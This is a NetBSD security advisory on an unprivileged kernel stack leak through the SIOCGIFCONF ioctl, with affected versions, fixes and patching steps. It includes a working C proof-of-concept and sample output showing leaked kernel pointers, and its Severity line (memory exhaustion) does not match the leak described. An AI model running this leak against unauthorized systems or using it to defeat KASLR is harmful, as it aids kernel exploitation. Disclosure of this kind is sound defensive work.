NetBSD Security Advisory 2019-003: Unprivileged user kernel stack disclosure in SIOCGIFCONF
3 May, 2019 by security-officer@netbsd.org | netbsd
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NetBSD Security Advisory 2019-003
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Topic: Unprivileged user kernel stack disclosure in SIOCGIFCONF
Version: NetBSD-current: affected prior to April 15, 2019
NetBSD 8.0: affected
NetBSD 7.2: affected
NetBSD 7.1.2: affected
NetBSD 7.0.2: affected
Severity: Local user may cause the kernel to run out of memory
Fixed: NetBSD-current: April 15, 2019
NetBSD-8 branch: April 19, 2019
NetBSD-7 branch: April 19, 2019
NetBSD-7-2 branch: April 19, 2019
NetBSD-7-1 branch: April 19, 2019
NetBSD-7-0 branch: April 19, 2019
Please note that NetBSD releases prior to 7.1 are no longer supported.
It is recommended that all users upgrade to a supported release.
Abstract
========
An unprivileged user can leak a huge amount of kernel stack by issuing the
'SIOCGIFCONF' ioctl command.
Technical Details
=================
Kernel stack can be leaked to an unprivileged user at [1], because 'ifr' is
uninitialized and only 'sa->sa_len' are copied to 'ifr.ifr_space'.
The size of 'struct ifreq ifr' is 0x90 bytes and 'sa->sa_len' is usually
0x11 bytes. Hence, upto 0x7f bytes can be leaked.
This can expose sensitive information, pointers to bypass KASLR, stack
canaries which can be used to exploit stack buffer overflows, etc.
Proof-Of-Concept:
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
/*
Sample output:
77 6D 30 00 00 00 00 00 00 00 00 00 00 00 00 00
11 12 01 00 06 03 06 00 77 6D 30 08 00 27 56 80
E1 EF CB 08 81 FE FF FF 00 10 00 00 00 00 00 00
20 AE 1C 68 00 80 FF FF 00 00 00 00 00 00 00 00
20 CC 92 1E 01 00 00 00 80 F7 4C 1B 81 FE FF FF
40 AE 1C 68 03 00 00 00 80 F4 4C 1B 81 FE FF FF
80 F4 4C 1B 81 FE FF FF 80 F7 4C 1B 81 FE FF FF
80 F4 4C 1B 81 FE FF FF 10 57 3E 1B 81 FE FF FF
00 52 C4 1E 81 FE FF FF 00 00 00 00 00 00 00 00
*/
void hexDump(const void *data, size_t size) {
size_t i;
for (i = 0; i < size; i++) {
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
}
printf("\n");
}
int main(int argc, char *argv[]) {
struct ifconf conf;
struct ifreq req[1];
int fd;
memset(req, 0, sizeof(req));
fd = socket(AF_INET, SOCK_DGRAM, 0);
conf.ifc_len = sizeof(req);
conf.ifc_buf = req;
ioctl(fd, SIOCGIFCONF, &conf);
hexDump(req, sizeof(req));
return 0;
}
[1] https://github.com/NetBSD/src/blob/trunk/sys/net/if.c#L3378
Solutions and Workarounds
=========================
Update the kernel to a fixed version and reboot.
To apply a fixed version from a releng build, fetch a fitting kern-GENERIC.tgz
from nyftp.netbsd.org and extract the fixed binaries:
cd /var/tmp
ftp https://nycdn.NetBSD.org/pub/NetBSD-daily/REL/latest/ARCH/binary/sets/kern-GENERIC.tgz
cd /
tar xzpf /var/tmp/kern-GENERIC.tgz
with the following replacements:
REL = the release version you are using
ARCH = your system's architecture
The following instructions describe how to upgrade your kernel by
updating your source tree and rebuilding and installing a new version.
For all NetBSD versions, you need to obtain fixed kernel sources,
rebuild and install the new kernel, and reboot the system.
The fixed source may be obtained from the NetBSD CVS repository.
The following instructions briefly summarise how to upgrade your
kernel. In these instructions, replace:
ARCH with your architecture (from uname -m), and
KERNCONF with the name of your kernel configuration file.
To update from CVS, re-build, and re-install the kernel:
# cd src
# cvs update -d -P sys/path/to/file.c
# ./build.sh kernel=KERNCONF
# mv /netbsd /netbsd.old
# cp sys/arch/ARCH/compile/obj/KERNCONF/netbsd /netbsd
# shutdown -r now
For more information on how to do this, see:
http://www.NetBSD.org/docs/guide/en/chap-kernel.html
Thanks To
=========
Andy Nguyen for discovering and reporting the issue.
More Information
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Advisories may be updated as new information becomes available.
The most recent version of this advisory (PGP signed) can be found at
http://ftp.NetBSD.org/pub/NetBSD/security/advisories/NetBSD-SA2019-003.txt.asc
Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.org/ and http://www.NetBSD.org/Security/ .
Copyright 2019, The NetBSD Foundation, Inc. All Rights Reserved.
Redistribution permitted only in full, unmodified form.
$NetBSD: NetBSD-SA2019-003.txt.asc,v 1.1 2019/05/03 01:33:37 christos Exp $
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